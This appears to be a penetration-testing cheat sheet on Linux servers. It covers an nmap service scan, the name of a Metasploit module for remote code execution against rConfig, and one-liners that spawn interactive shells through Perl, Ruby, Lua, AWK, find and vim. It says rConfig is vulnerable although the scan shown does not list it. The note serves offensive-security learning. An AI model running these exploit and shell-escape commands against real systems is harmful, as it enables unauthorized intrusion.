Unix/Linux Shell

More than 70% of web servers run on Unix/Linux
Initial Considerations
  • Identify the Linux distribution and its characteristics (e.g., CentOS, Ubuntu).
  • Determine which applications are being hosted and their role in the network.
  • Check for known vulnerabilities in those applications.

Target Enumeration

terminal
$ nmap -sC -sV <IP>​21/tcp   open  ftp      vsftpd 2.0.8 or later22/tcp   open  ssh      OpenSSH 7.4 (protocol 2.0)80/tcp   open  http     Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34)443/tcp  open  ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34)3306/tcp open  mysql    MySQL (unauthorized)

Vulnerability Research

rConfig 3.9.6 appears to be vulnerable. Search in Metasploit:
terminal
msf6 > search rconfig

Using a Metasploit Module

terminal
$ use exploit/linux/http/rconfig_vendors_auth_file_upload_rce

Getting Interactive Shells

  • Method: Command
  • Bourne Shell: /bin/sh -i
  • Perl: perl -e 'exec "/bin/sh";'
  • Ruby: ruby -e 'exec "/bin/sh";'
  • Lua: lua -e 'os.execute("/bin/sh")'
  • AWK: awk 'BEGIN {system("/bin/sh")}'
  • Find (Exec): find . -exec /bin/sh \; -quit
  • VIM: vim -c ':!/bin/sh'
  • sudo privileges: sudo -l